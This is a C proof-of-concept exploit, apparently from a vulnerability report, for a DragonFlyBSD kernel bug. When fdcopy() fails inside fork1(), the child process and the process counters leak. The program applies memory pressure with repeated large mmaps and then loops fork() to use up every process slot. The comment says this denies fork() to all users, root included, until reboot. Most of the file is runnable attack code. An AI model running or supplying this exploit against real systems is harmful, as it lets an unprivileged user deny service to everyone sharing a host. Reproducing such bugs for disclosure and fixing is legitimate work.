DF-0032 / fork_leak.c
/* * DF-0032 PoC - fdcopy() failure in fork1() permanently leaks the child proc, * the nprocs counter, and the per-uid proc-count. * * On the RFFDG path fork1() adds p2 to allproc (kern_fork.c:491) and bumps * nprocs/chgproccnt BEFORE calling fdcopy (kern_fork.c:551). fdcopy is the * ONLY fd op that can fail (it uses M_WAITOK|M_ZERO|M_NULLOK at * kern_descrip.c:2481-2486, unlike fdinit/fdshare). On failure fork1 does * `goto done` (:552-554) and done: (:724-732) only releases tokens -- no * teardown of p2 (no allproc removal, no nprocs--, no chgproccnt--, no * crfree/vrele). The SIDL orphan with no lwp/parent never reaches exit, so * nprocs/chgproccnt are never decremented. Each such failure permanently * consumes one system-wide maxproc slot and one per-uid RLIMIT_NPROC slot. * * Default fork()/vfork() use RFFDG, so every unprivileged user hits this. * Induce kernel malloc pressure (large mmap+touch / swap exhaustion) so the * M_NULLOK kmalloc in fdcopy returns NULL, then loop fork(). * * Build (DragonFlyBSD): cc -o fork_leak fork_leak.c * Run as an UNPRIVILEGED user (disposable VM). * * Expected (bug present): proc count grows toward maxproc; once exhausted, * fork()/vfork()/thread-creation returns EAGAIN for ALL users (incl. root) * until reboot. SIDL orphans accumulate (visible in advanced proc viewers). */ #define _GNU_SOURCE #include <sys/mman.h> #include <sys/wait.h> #include <unistd.h> #include <signal.h> #include <stdio.h> int main(void) { /* 1. Squeeze kernel malloc / swap so M_NULLOK kmalloc can fail. */ for (;;) { void *p = mmap(NULL, (size_t)1 << 30, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0); if (p == MAP_FAILED) break; *(volatile char *)p = 1; /* fault it in */ } fprintf(stderr, "[*] memory pressure applied; hammering fork() (RFFDG)\n"); signal(SIGCHLD, SIG_IGN); /* leaked procs are orphans anyway */ /* 2. Default fork() == RFFDG -> fdcopy(); failures leak p2+nprocs. */ for (;;) { pid_t p = fork(); if (p == 0) _exit(0); if (p < 0) { /* EAGAIN once maxproc exhausted -- system-wide fork DoS */ static long eagain; if (++eagain % 1000 == 0) fprintf(stderr, "[*] fork EAGAIN x%ld (maxproc exhausted)\n", eagain); } } return 0; } |